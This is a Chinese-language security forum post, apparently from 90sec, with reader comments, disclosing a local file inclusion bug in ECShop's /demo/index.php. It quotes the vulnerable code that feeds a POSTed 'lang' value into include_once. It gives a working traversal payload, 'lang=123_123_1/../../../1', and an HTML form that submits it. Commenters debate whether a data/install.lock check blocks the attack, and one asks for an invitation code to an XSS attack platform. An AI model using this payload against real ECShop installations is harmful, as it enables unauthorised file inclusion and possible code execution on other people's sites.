这个洞,其实我在2012年1月的时候看ecshop就分析出来过,当初由于感觉鸡肋就没怎么放出来。刚下了个官网最新版的,没想到还存在。
漏洞文件在:/demo/index.php
if (!empty($_POST['lang'])) //如果不为空
{
$lang_charset = explode('_', $_POST['lang']); //_分割
$updater_lang = $lang_charset[0].'_'.$lang_charset[1];
$ec_charset = $lang_charset[2]; //我们要控制的。
}
.
.
.
/* 加载升级程序所使用的语言包 */
$updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php'; //成功进行控制
if (file_exists($updater_lang_package_path))
{
include_once($updater_lang_package_path); //存在就包含。
$smarty->assign('lang', $_LANG);
}
else
{
die('Can't find language package!');
}
为了方便测试,我在本地网站根目录下建立一个1.php
代码如下:
<?php Phpinfo(); ?>
然后利用如下:
POST提交lang=123_123_1/../../../1 成功包含 根目录下1.php

由于本机,搭建环境出了个问题,这个是借别人的图。。应该为post提交,这个漏洞鸡肋之处在于,魔术引号,后面貌似不能%00。
利用代码。保存为html。
<font face="宋体 "><code id="code2"> <html> <body> <form action="http://127.0.0.1/demo/index.php" method="post" enctype="multipart/form-data"> <input type="text" name="lang" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html></code></font>
作者:风之传说 》》90sec
我下载最新版,安装系统后生成了data/install.lock
第27行有判断呐 file_exists(ROOT_PATH ."data/install.lock")
好像无法利用呢
@l5ffy 不知道你这个所谓的最新版是什么版本。。。。。截至哦呜测试日期是可以的
求xss平台邀请码一枚,学习,邮箱:iywzrronlx47150@qq.com
谢谢